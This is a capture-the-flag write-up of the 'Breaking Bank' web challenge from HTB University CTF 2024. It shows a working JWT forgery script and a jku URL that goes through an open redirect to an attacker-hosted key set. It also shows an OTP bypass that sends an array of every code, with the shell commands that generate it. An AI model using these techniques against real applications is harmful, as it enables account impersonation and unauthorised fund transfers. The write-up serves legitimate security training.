0%

BreakingBankChallengeWrite-Up(Web)-HTBUniversityCTF2024

Omar Mohamed
Thanks for sharing!

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

Breaking Bank Challenge Write-Up (Web) - HTB University CTF 2024
Hello there! Today, I'm going to walk you through solving the Breaking Bank challenge from HTB University CTF 2024.
Before we get started, if you want to try the challenge, you can find it here.

Content

Let's dive in!

Challenge Overview

Challenge Overview

Initial Recon

First thing I did was check out the website. We got a login and register form:
Login Page
Made my account and logged in. We have a cryptocurrency platform with Market Overview and a portfolio which my balance is set to zero:
Dashboard Overview
Portfolio View
We also got another 2 interesting tabs: friends and Transactions.

Source Code Review

The source code was quite big, so I took it in reverse - how can I get to the flag?
Searched for flag.txt in VS code and found this:
javascript
import { getBalancesForUser } from "../services/coinService.js";
import fs from "fs/promises";

const FINANCIAL_CONTROLLER_EMAIL = "financial-controller@frontier-board.htb";

/**
 * Checks if the financial controller's CLCR wallet is drained
 * If drained, returns the flag.
 */
export const checkFinancialControllerDrained = async () => {
  const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
  const clcrBalance = balances.find((coin) => coin.symbol === "CLCR");

  if (!clcrBalance || clcrBalance.availableBalance <= 0) {
    const flag = (await fs.readFile("/flag.txt", "utf-8")).trim();
    return { drained: true, flag };
  }

  return { drained: false };
};
We see that we can get the flag if we drained CLCR coin (set it to 0) of the user with this email: financial-controller@frontier-board.htb
So how can we do that?
Remember we have a transaction page, so simply we can transfer all the amount of this coin to another user, and we get it
In /src/pages/Transaction.tsx, found this endpoint: /api/crypto/transaction
javascript
const handleTransaction = async () => {
    setLoading(true);
    try {
        const token = localStorage.getItem('jwt');
        await axios.post(
            '/api/crypto/transaction',
            {
                to: selectedFriend,
                coin: selectedCoin,
                amount: parseFloat(amount),
                otp: [otp],
            },
            { headers: { Authorization: `Bearer ${token}` } }
        );
Notice it needs a JWT token? Let's check our token in localStorage:
JWT Token in LocalStorage
Passing it to jwt.io, we got:
Header:
json
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "03b24d15-5265-41e6-98c3-aa1de9fe838f",
  "jku": "http://127.0.0.1:1337/.well-known/jwks.json"
}
Body:
json
{
  "email": "omar@h4ck.run",
  "iat": 1734301782
}
We notice this file: http://127.0.0.1:1337/.well-known/jwks.json which gets us this:
json
{
  "keys": [
    {
      "kty": "RSA",
      "n": "nKlRFvY860GmX834rrOTEe2sUpI....VMXMrXauRenQXCaRVJHw",
      "e": "AQAB",
      "alg": "RS256",
      "use": "sig",
      "kid": "03b24d15-5265-41e6-98c3-aa1de9fe838f"
    }
  ]
}
Quick Note: JWKS (JSON Web Key Sets) is a set of keys containing the public keys used to verify any JWT issued by an authorization server. The jku (JWK Set URL) header parameter is used to retrieve these keys.
Let's keep it for later and understand the logic first

Verification Function Analysis

(where the good stuff begins)
searching in vscode for verify, we got verifyToken function in /challenge/server/services/jwksService.js
javascript
export const verifyToken = async (token) => {
  try {
    const decodedHeader = jwt.decode(token, { complete: true });

    if (!decodedHeader || !decodedHeader.header) {
      throw new Error("Invalid token: Missing header");
    }

    const { kid, jku } = decodedHeader.header;

    if (!jku) {
      throw new Error("Invalid token: Missing header jku");
    }

    // TODO: is this secure enough?
    if (!jku.startsWith("http://127.0.0.1:1337/")) {
      throw new Error(
        "Invalid token: jku claim does not start with http://127.0.0.1:1337/"
      );
    }

    if (!kid) {
      throw new Error("Invalid token: Missing header kid");
    }

    if (kid !== KEY_ID) {
      return new Error("Invalid token: kid does not match the expected key ID");
    }

    let jwks;
    try {
      const response = await axios.get(jku);
      if (response.status !== 200) {
        throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
      }
      jwks = response.data;
    } catch (error) {
      throw new Error(`Error fetching JWKS from jku: ${error.message}`);
    }

    if (!jwks || !Array.isArray(jwks.keys)) {
      throw new Error("Invalid JWKS: Expected keys array");
    }

    const jwk = jwks.keys.find((key) => key.kid === kid);
    if (!jwk) {
      throw new Error("Invalid token: kid not found in JWKS");
    }

    if (jwk.alg !== "RS256") {
      throw new Error("Invalid key algorithm: Expected RS256");
    }

    if (!jwk.n || !jwk.e) {
      throw new Error("Invalid JWK: Missing modulus (n) or exponent (e)");
    }

    const publicKey = jwkToPem(jwk);

    const decoded = jwt.verify(token, publicKey, { algorithms: ["RS256"] });
    return decoded;
  } catch (error) {
    console.error(`Token verification failed: ${error.message}`);
    throw error;
  }
};
The functionis pretty basic but here are some parts which pop up:
here it checks if jku header starts with http://127.0.0.1:1337/
js
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
  throw new Error(
    "Invalid token: jku claim does not start with http://127.0.0.1:1337/"
  );
}
The kid must match the KEY_ID on the server, which we can easily get from our own token
js
if (kid !== KEY_ID) {
  return new Error("Invalid token: kid does not match the expected key ID");
}
Now for the interesting part: it gets some data from the link in jku header, which in our token was: http://127.0.0.1:1337/.well-known/jwks.json
javascript
const response = await axios.get(jku);

if (response.status !== 200) {
  throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}

jwks = response.data;
Next, the function retrieves the jwk whose kid matches the server's, then passes it to the jwkToPem function to convert it into a PEM-formatted public key:
javascript
const publicKey = jwkToPem(jwk);
javascript
const jwkToPem = (jwk) => {
  if (jwk.kty !== "RSA") {
    throw new Error("Invalid JWK: Key type must be 'RSA'");
  }

  const key = {
    kty: jwk.kty,
    n: jwk.n.toString("base64url"),
    e: jwk.e.toString("base64url"),
  };

  const pem = crypto.createPublicKey({
    key,
    format: "jwk",
  });

  return pem.export({ type: "spki", format: "pem" });
};
The jwkToPem function ensures the key is of type RSA, converts its components (n and e) to base64url, and creates a PEM public key using Node's crypto module.
This step is important because we'll use a similar approach to craft our own key later.
now lets's summer up what we have so far:
  1. Goal: Transfer all CLCR from financial-controller@frontier-board.htb to get the flag.
  2. JWT Validation: The server checks the jku URL and fetches a key (jwk) to verify tokens.
  3. Plan: Host a fake key on a controlled server, make the server fetch from it, and forge a token

First Lets make our hosted fake key

I made the following script, Let's take it bit by bit
javascript
import crypto from "crypto";
import jwt from "jsonwebtoken";
import { v4 as uuidv4 } from "uuid";

// Key generation parameters
const KEY_ID = "3fdd9667-40e2-4633-b1c0-d1a74ea47d8f"; // Unique Key ID for the JWK

// Generate RSA key pair
const { privateKey, publicKey } = crypto.generateKeyPairSync("rsa", {
  modulusLength: 2048,
  publicKeyEncoding: { type: "spki", format: "pem" },
  privateKeyEncoding: { type: "pkcs8", format: "pem" },
});

// Function to generate JWKS (JSON Web Key Set)
const generateJWKS = () => {
  const publicKeyObject = crypto.createPublicKey(publicKey);
  const publicJwk = publicKeyObject.export({ format: "jwk" });

  const jwk = {
    kty: "RSA",
    ...publicJwk,
    alg: "RS256",
    use: "sig",
    kid: KEY_ID,
  };

  return {
    keys: [jwk],
  };
};

// Function to generate JWT token
const generateJWT = () => {
  const payload = {
    email: "financial-controller@frontier-board.htb",
    iat: 1734120167,
  };

  const header = {
    alg: "RS256",
    typ: "JWT",
    kid: KEY_ID,
    jku: "YOUR_HOSTED_KEY_URL",
  };

  const token = jwt.sign(payload, privateKey, {
    algorithm: "RS256",
    header: header,
  });

  return token;
};

// Generate JWT and JWKS
const token = generateJWT();
const jwks = generateJWKS();

// Log the results to the console
console.log("JWT Token:", token);
console.log("JWKS:", JSON.stringify(jwks, null, 2));
  1. Key Generation:
    • Generates an RSA key pair (privateKey and publicKey) for signing and verifying tokens.
    • KEY_ID is a unique identifier for the key (you get it from your token)
  2. JWKS (JSON Web Key Set):
    • Converts the publicKey to a JWK (JSON Web Key) format.
    • Adds metadata (alg, use, kid)
  3. JWT (JSON Web Token):
    • Creates a token with a payload (email and iat).
    • Custom header includes:
      • kid: Matches the key ID (KEY_ID) (Make sure to put yours)
      • jku: URL pointing to the fake JWKS file.
    • Signs the token using the private key.
  4. Output:
    • Logs the forged JWT and JWKS to use in the attack.
If you tried this... it will not work, know why? Remeber the
js
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
  throw new Error(
    "Invalid token: jku claim does not start with http://127.0.0.1:1337/"
  );
}
it has to start with http://127.0.0.1:1337/
but how can we make it fetch from our server of it has to start with this??? Answer is open redirect
So a little of searching (Also these // TODO commenets made it easier to spot the right stuff) we find analytics.js file with this inside
javascript
fastify.get("/redirect", async (req, reply) => {
  const { url, ref } = req.query;

  if (!url || !ref) {
    return reply.status(400).send({ error: "Missing URL or ref parameter" });
  }
  // TODO: Should we restrict the URLs we redirect users to?
  try {
    await trackClick(ref, decodeURIComponent(url));
    reply.header("Location", decodeURIComponent(url)).status(302).send();
  } catch (error) {
    console.error("[Analytics] Error during redirect:", error.message);
    reply.status(500).send({ error: "Failed to track analytics data." });
  }
});
This is a straight up redirection so that's how we are gonna make the server fetch our hosted key You can use ngrok, but I hosted mine on my website: https://h4ck.run/jwks.json The final url will look like this:
http://127.0.0.1:1337/api/analytics/redirect?url=https://h4ck.run/jwks.json/&ref=dummy
Notice the dummy ref is required in order to redirect
Note: This script generates its keys dynamically in each run, so make sure to use the right token with its right hosted key
Now since we finally got our token, lets try it out

Getting Access

Now with our forged token, let's check if it worked:
Portfolio After Token
Nice! Our portfolio value isn't zero anymore, which means we got in!

Getting the Flag

Made another account and added it as a friend to transfer the coins to. But when trying to transfer...
Burp Request
Still need to bypass the OTP. Looking at otpMiddleware.js:
javascript
export const otpMiddleware = () => {
  return async (req, reply) => {
    const userId = req.user.email;
    const { otp } = req.body;

    // ...

    // TODO: Is this secure enough?
    if (!otp.includes(validOtp)) {
      reply.status(401).send({ error: "Invalid OTP." });
      return;
    }
  };
};
It's using includes()!
If you send a dummy otp and see the request in burp, you can see the otp is sent in an array
burp
So simply make and array with all possible otps and you got it
["0001","0002","0003","0004","0005"..."9999"]
The command to generate it:
sh
seq -f "\"%04g\"" 1 9999 | paste -sd "," | sed 's/^/[/' | sed 's/$/]/' > otp.json
To copy it use:
sh
cat otp.json | xclip -selection clipboard
Note: Put it in burp by deleting the existing array and putting yours. Don't put it directly in the input beacuse it will be handled as one string in this array, as you can see the otp was passed as a string
success
flag
And here is our flag!
Flag: HTB{rugg3d_pu11ed_c0nqu3r3d_d14m0nd_h4nd5_789dfb9e1ce0f5ca7741ba640da6ce29}

Achievement

I'm proud to share that our team ranked in the top 200 in this CTF! Here's the certificate of achievement:
HTB University CTF 2024 Certificate

Key Takeaways

This challenge had a bit of everything:
  1. JWT and JWKS stuff
  2. Open redirect vulnerability
  3. OTP bypass using array tricks
Really enjoyed solving this one! Hope you liked the write-up. See you in the next one!
psst.. you can buy me a coffee here 👀. thank you!

You might also like